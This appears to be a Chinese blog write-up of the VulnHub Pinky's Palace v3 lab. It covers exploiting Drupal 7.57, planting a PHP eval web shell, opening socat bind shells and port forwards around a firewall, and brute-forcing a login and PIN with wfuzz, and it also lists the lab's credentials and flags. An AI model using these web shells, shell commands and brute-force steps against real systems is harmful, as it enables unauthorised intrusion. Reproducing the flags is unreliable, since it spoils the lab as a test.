vulnhub-Pinky's Palace v3

发布时间 2023-12-04 13:44:33作者: y2xsec

在夏令营做的一个靶机,还是挺有意思的,也就做了我一天而已(菜没办法),这个靶机是当时夏令营老师布置的一道题,但是后面实在不会做就去网上搜了wp,才知道原型是Pinky's Palace v3。

Pinky's Palace v3

(flag在文章尾)

打开靶机和kali,将靶机和kali设为同一网段。

nmap扫到靶机ip为

kali:192.168.1.138
靶机:192.168.1.155

rce

发现靶机的8000、3333、21端口开着,于是访问192.168.1.155:8000(3333端口无法访问)。是一个drupal的登录页面,尝试注册登录发现无法登录。于是爆破路径,发现了很多文件,找了一个有价值的文件:CHANGELOG.txt,内容是drupal的版本是7.57。

于是在kali上使用命令searchsploit查看对应的exp

searchsploit drupal 7.57

-------------------------------------- ---------------------------------
 Exploit Title                        |  Path
-------------------------------------- ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Auth | php/webapps/44542.txt
Drupal < 7.58 - 'Drupalgeddon3' (Auth | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Auth | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 -  | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 -  | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 -  | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful  | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful  | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Mod | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote C | php/webapps/46459.py
-------------------------------------- ---------------------------------
Shellcodes: No Results

选择44449.rb来作为本次的exp,文件下载地址 https://www.exploit-db.com/exploits/44449
下载完后执行ruby 44449.rb,如果有报错就在下载好的目录执行以下命令:

sudo gem install highline

执行完后就不会报错了。执行命令连接shell:

ruby 44449.rb http://192.168.1.155:8000

还有一种方法就是利用CVE-2018-7600漏洞来执行,exp地址:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py
但是它弹不回来shell,只能执行命令然后返回,所以要利用一会要讲到的socat建立连接,因为这里我没有成功所以就不讲述了,具体做法可以参考网上的做法,或者可以根据接下来我讲的socat的用法来利用。

接下来我这里讲一下我第一次做的时候:

首先同样是百度找到了exp,但是不是44449.rb,而是找的一个比较简陋的exp连接。连接上之后可以查看目录,发现目录下有一个shell.php:

<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }

这不就是一个后门吗,于是我访问shell.php,然后尝试在当前目录写了一个后门1.php(因为蚁剑无法连接shell.php):

<?php eval(\$_POST['cmd']);?>

发现居然写入成功了,于是蚁剑连接,在当前目录就发现了flag2.txt。

然后在漫长的查找之后,找到了flag1.txt,在/srv/ftp/.../.bak/下,还有一个firewall.sh,打开发现就是一些命令:

#!/bin/bash
#FIREWALL

iptables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
ip6tables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP

大概意思就是无法反弹shell,所以之前我试了无法反弹shell就是因为防火墙的缘故。

其实上述还说到nmap扫出来过21端口,也就是ftp服务,我们可以登录ftp

ftp 192.168.1.155
// 他这里显示要匿名登录

┌──(root㉿Mao)-[~/桌面]
└─# ftp 192.168.1.155
Connected to 192.168.1.155.
220 Pinky's FTP
Name (192.168.1.155:root): anonymous
// anonymous是匿名的意思,密码留空
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

登录上之后,可以查看当前目录下有什么文件,发现了WELCOME文件,这个文件不重要,主要是要用ls -a查看隐藏文件'...',下载到本地

get ...

内容跟上面是一样的,但是这里我本地没下载成功,可能是我kali不行了。

回到蚁剑,刚刚说了拿到了普通用户的权限,蚁剑可以看到文件目录,也可以获取数据库的数据,当然了需要账户密码。于是我百度了一下说:site/default/settings.php文件比较重要,于是访问后找到了mysqli数据库的账户密码

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'dpink',
      'password' => 'drupink',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

于是连上数据库,drupal数据库,users表,发现了一个用户pinkadmin,但是密码是加密的

pinkadmin
$S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup

至此基本的数据找的差不多了,接下来切换其他用户。

socat

socat是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版。的确如此,它有一些netcat所不具备却又很有需求的功能,例如ssl连接这种。nc可能是因为比较久没有维护,确实显得有些陈旧了。

具体的用法可以参考百度,这里只介绍一些比较常用的命令:

// 监听
靶机:socat TCP-LISTEN:12345 -			开启端口监听
攻击:socat tcp:192.168.1.1:12345 -		远程访问目的IP指定端口

// 反弹shell
靶机:socat TCP-LISTEN:12345 EXEC:/bin/bash
攻击:socat tcp:192.168.1.1:12345 -

// 端口映射
socat TCP-LISTEN:88,fork TCP:1.15.139.205:8888		将8888端口映射到88端口
echo “test” | socat tcp-connect:127.0.0.1:88 -   	向本地指定端口发送信息

上面知道了靶机是有防火墙的,有些端口是无法扫出来的,但是不代表没有,于是在shell里输入:

netstat -tunlpa
// 查看当前主机的端口开放情况

发现80和65334端口开着,但是不开放,于是就要利用socat来绕过防火墙映射端口。

在shell上执行:

socat TCP-LISTEN:4499,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:4488,fork TCP:127.0.0.1:65334 &

// 将80端口映射到4499端口,将65334端口映射到4488端口

执行完后浏览器访问http://192.168.1.155:4499和http://192.168.1.155:4488

65334端口没什么东西,主要是80端口,出现了登陆页面。如果要爆破的话需要花很多时间,而且不一定成功,于是先进行信息收集。扫描当前目录的文件,扫出来pwns.db,看起来像密码的东西:

FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754

用户名可以进行猜测(刚刚蚁剑的home下可以看到三个账户,数据库里也有一个账户)

pink
pinksec
pinky
pinksecmanagement
pinkadmin

网页登录还有一个参数pin,可以先随便设一个值,一会再来爆破,先爆破账户密码:

wfuzz -c -z file,./user.txt -z file,./pass.txt -d "user=FUZZ&pass=FUZ2Z&pin=33221" --hh 45 -u http://192.168.1.155:4499/login.php

wfuzz 参数说明:
-c 用颜色输出,如果不加,那么输出的是没有任何颜色
-z 指定有效的payload(类型,参数,编码,字典等)
-d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 'user=FUZZ&pass=FUZ2Z&pin=33221'
-hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41

爆破出来的账号密码是:

pinkadmin
AaPinkSecaAdmin4467

接下来爆破pin值(网页提示了pin是一个五位数的数字):

wfuzz -c -z file,./pin.txt -d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 45,41 -u http://192.168.1.155:4499/login.php

爆破出来是:23081,于是登录跳转到另一个页面。

发现是一个命令执行页面,可以执行系统命令,这里同样利用socat建立连接

// 在执行框里输入
socat TCP-LISTEN:1688,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

// 在kali输入
socat FILE:`tty`,raw,echo=0 TCP:192.168.1.155:1688

于是服务器的终端就连接上了

┌──(root㉿Mao)-[~]
└─# socat FILE:`tty`,raw,echo=0 TCP:192.168.1.155:1688
pinksec@FormatWorld:/home/pinksec/html/PinkysC0n7r0lP4n31337$

whoami查看发现是pinksec用户,于是通过查找在/home/pinksec/bin下找到了flag3.txt文件,同样还发现了pinksecd文件,运行后来到另一个终端,whoami查看当前用户是pinksecmanagement用户,于是查找在/home/pinksecmanage下找到了flag4.txt。

至此这台靶机全部的flag都被找完了,没有涉及到提权的东西,否则更有意思,最后几步倒是常规,socat那里比较重点,没有socat还真不知道怎么做。本次主要还是学习socat的用法,功能挺强大的。

CVE-2018-7600exp:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py

flag如下

flag1{FireWallnoSYN!}
flag2{WebVulnisDrupal!!}
flag3{ThisisDepentment!!!}
flag4{sshportis5555!!!!}